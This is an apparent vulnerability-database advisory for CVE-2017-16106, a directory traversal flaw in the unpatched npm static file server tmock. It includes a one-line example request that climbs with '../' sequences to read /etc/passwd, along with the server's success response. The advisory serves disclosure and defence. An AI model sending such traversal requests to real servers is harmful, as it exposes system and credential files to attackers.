GHSA-j6w4-pg6p-5mrv

Suggest an improvement
Source
https://github.com/advisories/GHSA-j6w4-pg6p-5mrv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-j6w4-pg6p-5mrv/GHSA-j6w4-pg6p-5mrv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-j6w4-pg6p-5mrv
Aliases
  • CVE-2017-16106
Published
2018-07-23T23:51:04Z
Modified
2023-11-08T03:59:05Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Directory Traversal in tmock
Details

tmock is a static file server.

tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2020-06-16T21:42:20Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

npm / tmock

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
0.0.7

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-j6w4-pg6p-5mrv/GHSA-j6w4-pg6p-5mrv.json"